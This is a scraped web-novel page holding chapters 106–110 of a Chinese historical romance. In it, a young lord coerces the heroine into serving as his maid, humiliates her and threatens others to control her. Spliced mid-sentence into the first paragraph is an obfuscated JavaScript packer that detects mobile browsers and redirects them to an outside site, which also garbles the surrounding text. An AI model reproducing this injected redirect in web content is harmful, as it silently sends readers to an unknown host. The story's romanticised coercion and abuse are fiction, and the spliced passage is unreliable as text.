谁知她让人一打开门,陈江源就冲出了门外,嘴上说着要去助方娘子。 最后还是她派人追上去,告诉他方娘子在谢世子的院中。 话还没说完,他人就跑开了。 陈老夫人又睁开了眼,她早知他会这样,过些时日就好了。 沈清念回了菱儿待着的院子。 推开门进了屋子,菱儿趴在床上,见沈清念进来时,一脸懵。 “小姐,你为何穿着下人的衣裳?”大公子让小姐去了一趟,准没好事。 “我现在是世子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16335199|182920||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的丫鬟,不穿这个穿什么?” 沈清念倒是十分淡定,左右不过是一年期限的丫鬟,她等得起。 听了沈清念的话,菱儿难掩惊讶之色:“小姐,你怎么成了大公子的丫鬟了?” 沈清念:“因为我欠了世子一个人情,世子让我做一年丫头偿还。” 菱儿听了,不免有些疑惑,大公子来云城也没几日,小姐何时欠了他人情? 难道是…… 菱儿握住沈清念的手,急切道:“小姐,是不是因为我的事?” 见沈清念没有说话,菱儿心下了然。 小姐定是求了大公子帮忙救她出来,才会被世子要求当丫鬟的。 “小姐!”菱儿带着哭腔。 “我替你去服侍大公子,你不能去当丫鬟啊!” 这可是她的小姐呀,从小在夫人的精心照料下长大,大公子竟然让她家小姐当丫鬟! 这太欺负人了! 她不要小姐受这样的委屈。 沈清念摸着菱儿的头道:“眼下最重要的是快些将你的伤养好。” 谢宴之怎么会让别人代替她去当丫鬟? 他就是想要羞辱她泄愤。 别人怎么能让他满意! 元青此时给菱儿拿来了栗子糕,见到沈清念的打扮,也十分惊讶。 “清姑娘,你怎么……” 菱儿没好气道:“你的好主子,让我家小姐当他的丫鬟!” 元青拿着栗子糕的手顿了顿,他怎么也没想到爷竟然让清姑娘当丫鬟! 这到底是喜欢清姑娘还是恨清姑娘啊! 他现在是越来越不知爷的心中是怎么想的了。 人不见的时候,到处寻人。 人找到的时候,又怕吓到人,怒气隐忍不发。 如今这又是在做什么,将一个小姐变成丫鬟,这已经不是惩罚了,是在羞辱清姑娘啊! 想到这儿,元青同情地看了一眼清姑娘,见她面色平静,他都觉着有些惭愧。 毕竟,他是爷的人。 “你出去!”菱儿出声赶人,她再也不要和他做朋友了。 虽然这事是大公子做的,元青没有做,菱儿觉得自己就是看他不顺眼! 第一百零六章 都是她自找的 或许是觉着自家爷的做法确实是有些让人难堪,元青放下栗子糕,转身走了出去。 沈清念也知道这事和元青没有关系,他只是一个下人,而她现在也是一样了。 他们都是身不由己。 她拿起栗子糕递给菱儿:“快吃吧,别跟好吃的过不去,你还得快快好起来呢。” 菱儿还是摇摇头:“我不吃,再也不吃他们的东西了。” 说着便将栗子糕重重地放回盘子里,却不小心打翻了盘子,砸到了沈清念的膝上。 “嘶”这盘子刚好砸在沈清念伤上面,刚愈合的伤又渗出一丝血迹。 这时,菱儿才发现沈清念膝盖上的伤。 “小姐,你把裤脚挽起来我看看,怎么有血?” 沈清念将盘子放回去后,给菱儿看了一下她的伤,笑着道:“回来的路上不小心被树枝划了一下,不疼的。” 菱儿心疼得很,从小到大小姐几乎没受过伤的。 “那小姐用我的药擦擦。”菱儿指了指床头的药瓶。 沈清念笑着点点头。 夜深人静,沈清念躺在旁边的小榻上,望着窗外月色如华,她满心的思绪。 好好思索了一番遇到谢宴之以后的事。 从前在京城,谢宴之误以为她在勾引他,不知为何就对她生出了几分强势的喜欢。 而今在云州,谢宴之步步紧逼,不过是想报复她,羞辱她! 做他的丫鬟,也许会受到羞辱,但也好过做妾。 丫鬟尚有自由之日,妾室就是永不翻身。 如今她被谢宴之逮着机会抓回身边当丫鬟,可是当真是丫鬟还好,就怕谢宴之际她还有别的企图。 所以,她一定要让谢宴之明白她绝不可能妥协。 想着他今日让她落下的脸面,沈清念心里还有一丝庆幸。 总比让他碰她的好。 希望能安安稳稳地熬过这一年。 只要清白还在,她就还有脸去见萧公子。 如果有可能的话,她也想早一些离开。 可这事能成吗? 要么奢求谢宴之忽然有了良心放过她,要么就是她再逃一次。 可谢宴之会轻易放过她吗? 沈清念转身看了一眼床上的菱儿,叹了口气,刚刚的想法又全被否定。 要带着菱儿逃跑,这事根本没可能,至少如今不行。 沈清念如今是十分后悔当初到了京城,遇到了谢宴之。 这样想着,二更天才睡了过去。 而谢宴之在屋子里也是辗转难眠,他甚至隐隐有些兴奋。 沈清念这一日已经有了些丫鬟的样子,知道向他这个主子臣服。 虽然还没有到他要的程度,却也收起了她从前的娇纵。 只要她以后也像今日这样,不再忤逆他,他定不会辜负她。 谢宴之又翻了一下身,眼看着烛台上的蜡烛炸出一个火花,他也彻底睡不着了。 不知沈清念的膝盖上的伤怎么样了,她的肌肤是那样娇嫩。 谢宴之起身,现在已经是三更天了,沈清念还留在那个丫鬟那儿吗? 他这个主子身边都没人伺候,看来他还得给她好好调教调教,教教规矩。 这样想着,谢宴之起身穿好衣物,就着月色,走了出去。 元青到底是习武之人,谢宴之一过来院子里,元青就察觉了。 待谢宴之走近,就出拳向谢宴之挥了过去,却被谢宴之反手扣住:“是我!” 谢宴之低沉出声。 他不想惊动这院子里的下人,好让人知道世子大半夜不歇息,跑到下人院子里来。 “爷!您……?”元青不知谢宴之这么晚了来这里做什么? 正想着,就见谢宴之将门推开了一丝缝儿,朝里看了两眼,眼神冰冷。 只见那人缩在小榻上,菱儿躺在床上,二人皆睡得沉沉的。 他又关上了门,看着元青:“她怎么在这儿睡下了?” 元青怔了怔,清姑娘现在是丫鬟,当然得睡在丫鬟睡的地方呀。 “清姑娘说她如今也是丫鬟,理应和丫鬟睡在一起。” 谢宴之目光微沉,她也不看看自己的主子究竟是谁,不守着自己的主子,倒是跑这儿守着丫鬟来了。 看来,他还得再敲打敲打她! 元青犹犹豫豫问了一句:“爷,清姑娘怎么成了丫鬟了?” “那是她自己选的!” 元青微微想了想,很快明白了过来,也收起了他脸上的震惊。 清姑娘宁可给爷为奴为婢,也不愿当爷的妾呀! 敢如此不将爷看在眼里的,清姑娘还是头一个! 他心里不禁对沈清念升起来一股敬佩之感。 只是忤逆爷肯定是没有好下场的。 元青出神之际,谢宴之冷冷道:“把她叫起来,到我院子里值夜!” 元青面露难色,心里有些同情沈清念,壮着胆子说了一句:“要不,我去爷屋子里值夜,就别叫清姑娘了。” 谢宴之面色一沉,目光凌冽地看了一眼元青。 元青只好认命地转身进了屋子。 “清姑娘,醒醒。” 沈清念刚睡没一会儿,就被人吵醒,心里有些烦躁。 再看来人是元青,轻声问道:“怎么了,元青?” 元青有些过意不去道:“爷让你去他院子里值夜。” 说着,元青低头,不去看沈清念。 沈清念倒也不意外,反正从她答应做丫鬟的时候,就做好了谢宴之随时会发疯的准备。 “好,我马上就去。” 待沈清念穿好衣裳出来,才惊觉谢宴之在门外。 她福了一礼:“世子!” 谢宴之没有说话,拂了袖子,走在了前面。 待沈清念来了屋子后,发现谢宴之已经躺在了床上,连床上的纱帐也放了下来。 她看了看,只见旁边有一个小榻,只是上面空无一物。 沈清念心下了然,谢宴之就是故意的。 她什么也没有说,剪了烛火,躺了上去。 夜风从窗户吹进来,隐隐有些凉意。 沈清念双手抱紧自己,蜷缩起身子,一滴泪无声的从脸颊滑落。 浑浑噩噩间,再次睡了过去。 谢宴之一直侧着耳朵,听着那边的动静,一直在等着她过来服软。 可那边却传来了清浅的呼吸声。 他故意拿走了榻上的垫子和毯子。 若她肯来说一句软话,他就不再计较她将自己丢下,跑去守着丫鬟的事,也会让她到床上来。 可是那没良心的人竟然就这样睡着了!谢宴之伸手掀起了纱帐,看了一眼那个侧着的身影,眼神里浮现一抹冰冷。 很好!苦都是她自找的! 第一百零七章 既然你不想好,我帮你 第二日,谢宴之起床,就见沈清念端了铜盆进来,轻声道:“世子,请梳洗。” 谢宴之见她立在木架旁,穿着丫鬟的衣裳,低垂着眉眼不看他,向他展示着一个奴婢的恭敬,与从前的清冷全然不同。 好像她真的是一个丫鬟。 他眯着眼说道:先过来伺候我更衣。” 沈清念闻言,睫毛颤了颤,放下手里的铜盆,轻轻走到床边。 谢宴之掀开了锦被,坐在床边。 见沈清念没有动作,狭长的凤眸盯着她不说话。 沈清念直觉谢宴之的目光一直在自己身上,又见他一直不起身。 心道这要如何伺候他更衣。 直到看到他脚边的金丝黑靴,她才明白了谢宴之的意思。 看了那靴子一会儿,沈清念心里告诉自己,这都是丫鬟该做的,她只是在做好自己分内的事。 想到这儿,她缓缓蹲到了谢宴之跟前,纤纤细手将谢宴之的脚抬了起来,又拿起一只靴套了上去。 谢宴之没有说一句话,就只是看着沈清念在他面前给他卑微的穿靴。 沈清念的手碰触着自己的腿时,他的心不自觉地动了一下。 她那轻柔的动作像一根羽毛轻轻扫过他的心,酥酥痒痒的,他竭力控制着自己想要一把抱起她的冲动。 在她还没有彻底被驯化之前,他都不会再想从前那样,上赶着亲近她! 他等着她主动投怀送抱的那天。 “世子,穿好了。”沈清念低着头,双手叠在前面。 谢宴之站起身来,伸开手臂,等着沈清念给他穿衣。 沈请念见状,走过去拿起架子上搭着的玄色锦袍,轻轻抖了抖,再小心地伺候谢宴之穿上。 她又站到谢宴之身前,替谢宴之理了理衣襟,再环抱住他的腰,将腰带系了上去。 谢宴之看着眼前低着头的人,正拿着玉佩往自己腰带上系,嘴角微微上翘。 他抬着的双臂情不自禁地往里靠拢,好像要将人圈住。 沈清念此时已经系好玉佩,迅速往后退了一步,拉开了彼此的距离。 如此近距离地靠近谢宴之对她来说,就是一种煎熬。 她又走到铜盆边,拧干了巾子,双手捧着,等待谢宴之拿起来清洗。 谢宴之看到沈清念慌忙躲开的样子,眼里闪过一丝不悦。 她明显是在排斥他的碰触。 谢宴之看着她那恭敬的模样,心里冷哼一声,她早晚都躲不过! 梳洗一番之后,谢宴之让沈清念收拾包袱,今日他们便要坐船回京。 谢宴之坐在一旁的椅子上,看着沈清念在屋子里弯着腰收拾。 她比他在云州见到她时更瘦了。 衣裳有些宽大,拢在她身上,显得有些空空荡荡,遮住了他喜欢的曲线。 一条香珠手串在那腕子上滑上滑下,引得人一直盯着那白皙的手腕看。 忽然,她的膝盖撞到了桌腿,她的眉轻轻皱了一下。 谢宴之这才想起来,她昨日被碎片划伤了膝盖。 起身,朝那纤细的身影走了过去。 沈清念伸手摸了摸膝盖,刚确实撞得有些疼,还好没有渗血。 才想着,人就离了地,就被人抱了起来。 待她反应过来,自己已经坐在谢宴之身上。 而谢宴之将人按在怀里,一手将她的双手箍在胸前,一手将裤脚褪至膝盖处。 沈清念那如玉的一般白净光滑的肌肤露了出来,上面却有一道暗红的伤痕,看着有些刺眼。 谢宴之的眉头皱了皱,他明明都给她药了,怎么看起来还是没怎么好转。 沈清念慌忙要遮住自己的膝盖,不让谢宴之碰触。 她使劲挣扎,要从谢宴之身上下来。 谢宴之问道:“我给你的药呢?你为何不用?” 那药叫冰凝露,只需一夜,沈清念的伤口便能淡化不少。 可她却不用。 谢宴之审视着沈清念的脸,那脸上有一股不屑和不服气。 原来如此!因着是他给的药,她便不用。全然不顾及他对她的半分情意。 “谢世子,可在?” 听着门外传来的声音,谢宴之冷冷道:“既然你不想好,我帮你!” “我在,陈公子请进。” 说着,手指在沈清念的伤上用力按了一下。 “啊!”沈清念猝不及防叫出了声。 门外的人也几乎同时推开了门,沈清念的声音自然也就落在了来人的耳朵里。 陈江源看清屋内的情形,瞬间低了头,后悔自己为何这个时候进来。 他见沈清念正坐在谢宴之的腿上,一只裤脚微微卷起,露出半截光洁的小腿。 再回想起刚刚那声,竟然觉着那声音里透着一些暧昧。 原来是这样! 陈江源惊觉自己或许是误了谢世子和方娘子的事,忙拱手道:“世子与沈姑娘既不方便,我先出去。” 沈清念闻言,羞窘难当,只挣扎得更厉害,想要从谢宴之身上下来,她没想到谢宴之如此龌龊! 故意让她发出那样的声音,引人误会。 让陈公子误将她当做行为放荡的女子,让她颜面无存。 谢宴之按住了她挣扎的双脚,凑在她耳边道:“继续挣扎,我倒想看看陈江源会不会为了你同本世子拼命!” 沈清念心里一紧,瞳孔瞬间放大。 谢宴之这是赤裸裸的威胁!陈江源与他拼命,肯定会没命。 沈清念心里冷嗤,谢宴之是知道如何拿捏她的。 这个卑鄙小人! 沈清念不想连累陈江源,只好停止了挣扎。侧着头不看他,也为着躲避谢宴之的亲近。 而她不知在陈江源的眼里,这些举动就是她和谢宴之间的闺房之乐。 谢宴之见怀里的人安分了下来,笑着看向陈江源:“无妨,陈公子快请进。” 陈江源没想到谢宴之竟然让他进去,他也只好走了进去,坐在椅子上。 见谢宴之现一手抱着沈清念,又用手指绕着一缕沈姑娘的发丝把玩着。 他从没想过,平日里清冷高贵的谢世子,也会有如此孟浪的一面。 方娘子毕竟是如此国色天香,又有几人能不心动? 更何况,方娘子此时脸色微红,甚是娇羞,侧着头,连看都不曾看他一眼。 他心里不禁苦笑,人家都有了谢世子,又如何还看得见他。 第一百零八章 成不了真 谢宴之将陈江源的苦涩看在眼里,他忽就觉着心情愉悦起来了。 陈江源尽可能低着头,不去看那刺人的一幕,轻声道:“谢世子,父亲让我来说一声,船上一切已打点好。” 谢宴之笑了笑:“有劳令尊大人了。” 陈江源又忽然开口道:“世子,听说那吴为雄升为了知州,前日已起身赴任去了。” 说完,他又瞥了一眼沈清念。 这些话,他也是想说给方娘子听的。 听陈江源忽然说起了吴为雄夫妇,沈清念转过头看了过去。 那人果然靠着逼迫她,得了好处。而她现在还在始作俑者的腿上,想到这儿,她越发坐不住。 谢宴之吹了吹沈清念缠在他手指上的发,淡淡道:“出任岭南一带的知州,吴大人也算是忧国爱民的好官了。” 岭南?沈清念听到这话,怔了怔。 岭南蛮夷之地,湿热虫多,条件远不及这富庶的云州小城。 就算是升了知州,日子过得也比不上云州的县令一职。 那吴为雄岂不是明升暗降? 其实,吴为雄收到调令那日,一样是愁眉苦脸。心知是事情没有办好,得罪了贵人,这才毁了仕途。 他又将金氏好一通责骂,最后,纵使心有不甘,还是携全家老小一同往岭南赴任。 陈江源笑了笑,那吴为雄品性不端,这也是他应得的下场。 他想了想又道:“又听说他们昨日在路上遭遇了歹人,吴夫人金氏被踢了一脚,当场小产,腹中孩儿没有保住。” 说着,他的眼睛又看了一眼沈清念。 闻言,沈清念眼里有一丝惊诧,这未免有些太过凑巧。 她带着一丝狐疑,看向谢宴之。 陈江源也顺着沈清念的目光看了过去,见谢宴之脸上没有丝毫意外。他的脑中忽然一激灵。 吴氏夫妇的事,许是这位温润有礼,风光霁月谢世子的手笔。 陈江源惊讶于世子的雷霆手段,但他更多的是惊讶于谢世子对方娘子的爱护。 这明显是谢世子在替方娘子出气! 他们相识不过短短几日,谢世子竟能对方娘子如此上心。 他心中的失落也消失殆尽,或许,方娘子这一次是赌对了。 世子当真是对她用情至深,值得她放下自由常伴身侧。 谢宴之笑着看了眼沈清念,语气里别有深意:“那还真是太可惜了。” 沈清念此时也知道了这是谢宴之的手笔。 那金氏命人将菱儿打得那样重,如今也算自作自受。 可她心中对谢宴之的冷酷也有了更深刻的认识。 他们得了他的授意做出逼迫她的事来,如今又将他们狠狠惩罚以做人情送给她。 他们这些人在谢宴之眼里究竟是什么? 沈清念只觉得谢宴之真的冷酷无情。 陈江源要说的话已经说完,又瞥见谢世子的目光一直在方娘子身上,他只觉自己在这里属实是有些多余了。 只好尴尬起身,拱手一礼:“世子,我还要去祖母处问安,就先走了。” 谢宴之看向他,淡淡出声:“陈公子慢走。” 待陈江源走后,沈清念一下从谢宴之腿上跳了下来,后退几步与谢宴之保持着距离。 谢宴之看她一副防备的模样,不怒反笑:“对那吴氏夫妇的下场,你可还满意?” 沈清念沉默不语。 谢宴之把玩着腰上的玉佩,嘴角一撇。 “本世子已经为你将他们狠狠责罚了,你不该对本世子抱有感激之心吗? 沈清念听了他这句话,心中气恼无比。 她按住心中要骂他无耻的冲动,面上平静道:“奴婢不曾要求世子责罚谁,更何况世子也并非是为了奴婢。” “哦?”谢宴之探究的口吻问道:“那本世子是为了谁?” 沈清念不卑不亢道:“世子是为了自己!” 为了他的一己私欲,让那吴氏夫妇和她都成了受害的那个。 他将所有人都玩弄于手掌中,还期待着她对他感恩戴德?! 沈清念此刻心中无比坚定,谢宴之就是一个冷酷,偏执,自私的人! 她看着他那衣冠楚楚的模样,就觉得恶心。 谢宴之显然没料到沈清念会是这个反应。 她话里没有一字是在指责他,可他却觉得自己好像被她骂了一遍。 他帮她出了气,她看他的眼神里没有欢喜和感激,反而是嫌恶。 好极了,她当真是喂不熟的白眼狼! 谢宴之的眸子染上了浓浓的寒霜,面色深沉,怒意滔天。 那目光似要将沈清念杀死。 此时,元青忽然来报:“爷,一切准备妥当。可以起程了。” 谢宴之的眸子恢复了清明,淡淡一句:“嗯。现在就出发。” 等回了靖南侯府,他再狠狠地责罚她。 谢宴之咬紧牙关,拂袖而去。 陈刺史一家在云州渡口送别谢宴之。 陈刺史道:“世子,这几日所需之物,我都已经让人备好,盼世子一路平安。” 谢宴之笑了笑:“这些时日着实是叨扰陈刺史了。” “待来日陈刺史来了京城,可来靖南侯府寻我。” 听了这话,陈刺史受宠若惊。 谢世子的意思是将他当做自己人了,也会帮他到京城任职。 随即又对谢宴之拱手一礼。 谢宴之笑了笑,转身上了船。 陈刺史望着甲板上那意气风发的人,一身黑色金丝披袍在风中飘扬,负手而立,眺望着那片广阔的山川河流。 陈刺史不禁感叹,世子的风范,当真是无人能及。 三日后的夜里,谢宴之来到书案前,提起笔要在宣纸上挥洒笔墨。 忽然想到什么,目光冰冷,对着门口吩咐道:“让沈清念进来!” 沈清念正陪着菱儿,主仆二人说着话。 元青过来道:“清姑娘,爷让你去。” 沈清念转头对上菱儿担忧的眼色,她握了握菱儿的手,以示安慰。 起身那瞬间,便收起了脸上的笑容。 毕恭毕敬地掀开帘子,来到谢宴之书案前,语气淡淡:“世子。” 谢宴之听那冷冰冰的声音,眉头皱了皱。 再看她低垂着眉眼,十分温顺。跟真正的丫鬟没什么两样。 谢宴之道:“墨没了,给爷磨墨。” “是。”沈清念又是乖顺地回应一句后,挽起袖子,添了水磨起墨来。 见状,谢宴之心里莫名有些烦躁。 看来她适应丫鬟的身份,还适应得很快。 如今也是那么温顺,那么恭敬。 除了抗拒他对她亲近,其他事几乎是事事顺着他。 他觉得哪里对,又哪里都不对。 谢宴之收了毛笔后,将宣纸推到沈清念面前。 “画押。” 沈清念双手拿过来,才发现谢宴之写的契书。 大概就是沈清念自愿给谢宴之当一年的丫鬟。 沈清念又提笔写下一年以后,沈清念恢复自由自身,谢宴之不得纠缠她,然后才在纸上写下自己的名字。 谢宴之眯着眼看了眼,什么都没有说。 不论她写了什么,都成不了真。 第一百零九章 她以为能奈何得了他? 写好后,沈清念将契书吹了吹,送到谢宴之面前,看着谢宴之盖上了自己的私印。 沈清念又将那契书拿起来看了看,叠起来放进了自己的袖子里。 谢宴之怔了怔:“你怎将那契书收起来了?” 沈清念淡淡道:“世子不就是让奴婢进来拿契书的吗?” 她前日就让谢宴之写一个契书给她的。他一个世子当然不怕被她缠住,可她怕,她要谢宴之给她一个保证。 有了契书,她不怕谢宴之日后不放她! 谢宴之觉得自己要被她气笑了。 到时他不放她走,她真以为那契书就能奈何得了他? 谢宴之冷哼一声,起身去榻上歇息。 沈清念尽责地为他放下帐子,然后就要去对面的小榻上。 谢宴之忽然将手从帐子里伸出来:“这被子拿去。” 昨夜,谢宴之就见她蜷缩成一团,估计是有些冷。 沈清念怔了一下,见他手上的被子,忙站好福了一礼:“奴婢不敢造次。” 让她盖他的被子,被他身上的气味包裹,她想想都头皮发麻。 见她不识好歹,谢宴之心中那点儿怜惜也消失了。 她一直都嫌弃他,又怎会要他的被子! 谢宴之冷声道:“那你今晚就别睡了,在旁边站着值夜!” “是。”沈清念的声音里没有一丝不愿,仍是淡淡的,顺着他的。 谢宴之看了她一眼,心烦地放下帐子,闭上了眼。 沈清念就立在床边,站得笔直。 谢宴之又睁开眼看了一眼那人,见她背对他而站,如忠心的仆人那样,守着主子。 也许是觉得他已经睡着了,那人伸手揉了揉膝盖。 随后,沈清念听谢宴之冷冷的声音道:“别在这儿碍眼,滚回你的榻上去!” 虽然觉得谢宴之莫名其妙,但她又何苦为难自己。 “是。”沈清念没有一丝犹豫,就躺回了自己的小榻上。 后面这几日,沈清念都恪守丫鬟的本分,除了伺候谢宴之的生活起居外,空闲时都在菱儿那儿。 直到这日清晨,沈清念出了船舱,就见远处那一片繁华。 京城,就在眼前了。 下了船,谢宴之又乘着马车往靖南侯府去。 他撩起帘子,见外面那抹身影,手上提着包袱,艰难地跟在马车边走着。 额上已是满头汗,脸也有些发红,有些狼狈。 谢宴之看着冷哼一声,自讨苦吃!看着心烦,他干脆在车厢里闭着眼睛。 又走了一会儿,马车终于停了下来。 沈清念望着靖南侯府那几个大字,心中感慨万千。 门口还是那两尊的石狮,明明怒目圆睁,却好像是在嘲笑她当日的不自量力。 她捏了捏拳,今日踏进了这个门,有朝一日,她还会再踏出来的! 这时,老夫人被刘麽麽和大夫人搀扶着,带着一群人迎了出来。 “宴哥儿!” 老夫人上前,握住谢宴之的手,又往他身后的马车里看了看。 她们都心知谢宴之是去找沈清念去了。 如今却没看见人。 大夫人心下不禁疑惑,难道谢宴之没有抓到那个贱人,真让她跑了。 谢宴之见二人那寻找的目光,已经知道她们是在找谁。 他瞥了一眼躲在马车一侧的身影,沉声道:“祖母,我们先进去。” 老夫人心里清楚,毕竟谢宴之此行是打着祭奠杨氏的幌子,怕被人拿了把柄。 府门前人多眼杂的,确实不便。 随即点点头,由谢宴之扶着往观澜居去。 沈清念提着包袱跟元青和一众侍卫一起,丝毫没有引起她们的注意。 刚刚在大门外,老夫人不好询问,现在到了观澜居,老夫人也就没那么多顾及,急着问道:“宴哥儿,你可找到那丫头了?” 大夫人也想知道,那贱蹄子如今在哪儿! 谢宴之对着门外的小厮道:“让我的丫鬟进来奉茶。” 闻言,老夫人和大夫人皆是一惊,两人眼神对上交流了一番,宴哥儿的屋子里何时有丫鬟了? 沈清念听到这话,心知回了这靖南侯府,迟早都要与这些人遇上,只好认命地端着茶走了进去。 待老夫人看清来人,手攥紧了佛珠。 那奉茶的丫鬟,可不就是沈清念那丫头吗? “宴哥儿,这到底是怎么回事?” 老夫人问道。 而大夫人眼里,闪过一丝怨恨。 她原以为谢宴之将沈清念抓到后,定会将她大卸八块泄愤。 没想到谢宴之全须全尾地将人带回来不说,还只罚她做了丫鬟。 这样的惩罚怎么配得上灵玉遭的罪! 老夫人有些明白了,笑着对沈清念道:“清丫头做几日丫鬟也行,好好磨磨性子,日后才能伺候好宴哥儿。” “可不能再像从前那样任性了。”说着,别有深意地看了看她。 上回这丫头竟敢擅自逃走,这性子确实野了些! 谢宴之在一旁摩挲着茶盏,一边瞥向沈清念。 沈清念闻言,忙跪在地上道:“老夫人,我如今只是世子的丫鬟,万不敢对世子有什么非分之想的。” 此话一出,屋子内的人都怔了怔。 沈清念还是不愿当谢宴之的妾。 老夫人回头看着谢宴之,见他面无表情,自顾自地吹着茶,好像这事与他无关。 一时也摸不准他到底是什么意思。 若没那个心思,又千里迢迢将人带回来做什么,还让人放在观澜居,留在他身边。 若是有那个心思,这丫头都当堂表明不愿了,宴哥儿怎么也不说句话。 大夫人此时心中更是生气。 她的亲侄女求也求不来的,她却得的毫不费力,竟然还当着大家的面,直接拒绝了谢宴之。 但她了解谢宴之,他想要的东西,还从没有得不的。 便打着圆场道:“清丫头说什么胡话呢,能伺候世子,也是你的福分不是?” “我们靖南侯府定不会亏待你。” 沈清念见大夫人也掺和了进来,再次表明了自己的不愿:“夫人,清念只是一个奴婢而已,配不上世子金尊玉贵。” 再次的婉拒,让老夫人的脸色都沉了下来,却没能让谢宴之脸上染上怒意。 老夫人看向谢宴之:“宴哥儿,你的意思呢?” 第一百一十章 只是从前有二爷的庇护 谢宴之轻饮了一口茶后,慢慢悠悠放下茶盏:“孙儿无意纳一个奴婢为妾。” “她要做的只是还债。” 她就说宴哥儿怎会如此轻易放过这丫头!原来宴哥儿是换了个法子磋磨这丫头。 老夫人只觉心中畅快了些。 大夫人也捏着帕子看着沈清念,眼里满是鄙夷。 做姨娘好歹还有些身份,这做丫鬟,她还不是得在她们这些主子手下过活。 那她就有的是机会,替灵玉好好教训教训这个贱蹄子了! 沈清念听到谢宴之的话后,心中松了下来。 既然谢宴之已经在众人面前说了不会纳她,那她只需忍耐一年,便可自行离去。 她还是第一次觉得喜谢宴之低沉的声音,是如此悦耳。 既然谢宴之已经发了话了,老夫人也不再说什么,待嘱咐了沈清念几句,又带着一行人浩浩荡荡地离开了观澜居。 只是走之前,回头看了一眼地上跪着的沈清念。 那姿态看似恭恭敬敬的,却还是有一股子傲气在!她还要替宴哥儿调教一番才是。 待众人走后,谢宴之看了眼地上跪着的人,想到了她膝上的伤,面色不耐道:“还跪着干什么,还不快滚出去洒扫。” 沈清念正觉膝盖疼痛,闻言缓缓起身:“是,世子。”正要转身出去,门口的小厮来报:“大公子,二房的苏姨娘来了。” 沈清念低着头,目光瞥了一眼谢宴之。 谢宴之也看到了那双忽闪忽闪的眸子,小心翼翼打探着他的意图,含着些期待。 他嘴角微翘,她如今的一切,都要看他的脸色和意思行事。 “让她进来。” 苏姨娘进来,恭敬福礼:“大公子。” 刚刚苏姨娘经过观澜居的院子时,就见那熟悉的影子,拿着笤帚,扫着院子里的落叶。 虽心有些不解,但看着人好像没受伤什么的。 “不知苏姨娘前来,所谓何事?”谢宴之平静出声。 “只是得知大公子归家,特来看看。” 谢宴之心知肚明,又见院子里的人影在门外徘徊,淡淡道:“看也看了,姨娘请自便吧。” 说着,也没有吩咐小厮也来将苏姨娘带出去,就往书房去了。 苏姨娘知谢宴之是故意给了机会让她去寻沈清念,一时也拿不准谢宴之对沈清念到底是什么态度。 她赶紧踏出门去,沈清念也走了过来。 “姨母!” “念儿!” 苏姨娘见沈清念着一身丫鬟衣裳,脸也消瘦了不少。一看就知是受了苦了。 她眼中的泪滑落下来。 “大公子抓到你以后,有没有责罚你?” “没有,世子只是要我做一年丫鬟,我便可自行离开。”沈清念心中苦涩。 给谢宴之当一年的出气篓子,任他羞辱而已,只要不做那些事,都算不得责罚。 她也不想苏姨娘替她担心,就这样轻描淡写的说了一句。 苏姨娘闻言,心中并没有感到轻松。 以她对大公子的了解,这或许只是他的缓兵之计而已。 她关切地看着沈清念,郑重道:“那若是大公子对你仍有执念,你当如何?” 沈清念语气坚定道:“若真有那一日,我只好一死了之。” 苏姨娘心下一惊,眼泪又是簌簌落下。 她不愿沈清念走到那一步。 她也没能力要求大公子放过沈清念。 刚刚大公子故意让她来找沈清念,就知大公子心中对沈清念并没有放下。 只能用帕子擦着泪。 沈清念看苏姨娘拿着帕子抹眼泪的样子,近日来在谢宴之那里受的委屈一下涌上心头。 也红了眼眶,泪珠一颗一颗往下掉,抱着苏姨娘哭得不能自已。 苏姨娘拍了拍她的背,不知如何安慰。要是二爷还好好的,或许能劝住大公子。 可惜…… 最后,还是沈清念先止住了哭泣,她从怀里掏出纸张,递了过去:“姨母看,这是世子写下的契书。” 沈清念用手背擦掉脸上的泪,哽咽道:“到时我定会离开的。” 苏姨娘看了看,心道念儿还是低估了一个男人的占有欲,尤其是世子这样位高权重的男子,哪是一张契书就能奈何的。 可她不忍说穿,让沈清念心中留个盼头,日子才不会那样难过。 就如她一样,相信终有一日,二爷就会站在她面前,宠溺地刮刮她秀美的鼻尖儿。 沈清念又将那契书收进了袖中,而苏姨娘却一个趔趄,差点摔倒在地。 沈清念忙将苏姨娘扶到石凳上坐着,看苏姨娘用手捶了捶腿。 沈清念一边帮她捶腿,一边问道:“姨母,您的腿怎么了?” 苏姨娘笑笑道:“没事,可能是受了凉了,有些酸胀无力。” 她又摸了摸沈清念的头,眼里满是疼爱。 自沈清念走后,老夫人日日责罚她去佛堂罚跪,连个蒲团都不曾给她垫过,这腿早就受不住了。 今日,她也是跪够了时辰才从问心堂出来,这才没能和老夫人她们一道过来。 但她出来时,碰到了老夫人和大夫人。 大夫人得意地凑近了对她说:“恭喜姨娘了,你的好侄女如今可是大公子身边的大丫头了。” 苏姨娘这才跌跌撞撞地过来了。 这时,元青提着茶壶过来:“清姑娘,爷说茶凉了。” 沈清念心知,谢宴之不让她跟姨母待一块了,不由地朝书房那边恨了两眼。 她转过头道:“姨母,我明日一早再过来看您,帮您看看腿。” 因从小就爱香珠,沈清念对药理也有些了解。 苏姨娘怕她惹怒谢宴之,摆摆手道:“大公子唤你,就快去吧,别误了事。” 沈清念起身,接过元青手中的茶壶,往伙房去。 可她回头一看,苏姨娘又摔在了地上。沈清念赶紧跑过去,见苏姨娘脸色发白,额上都出了汗。 可见她腿疼得不轻。 沈清念卷起苏姨娘的裤脚,见那膝盖青紫一团,分明是长期跪地导致的。 她一把抓住苏姨娘的双臂,问道:“姨母,您与我说实话,是不是谁责罚您了?” “是二夫人做的?” 苏姨娘摇摇头道:“是老夫人看我有佛缘,让我多与菩萨亲近。” 老夫人? 从前姨母日日伺奉在老夫人身侧,她从没见老夫人责罚过姨母。 这回……沈清念回想苏姨娘刚番遮掩的话,心中已经知道了缘由。 怕是因着她上次的逃婚,老夫人迁怒了姨母。 沈清念眼眶又泛起了红,哽咽道:“姨母,都是我不好!害您受苦了。” 苏姨娘替沈清念擦去脸上的泪摇摇头。 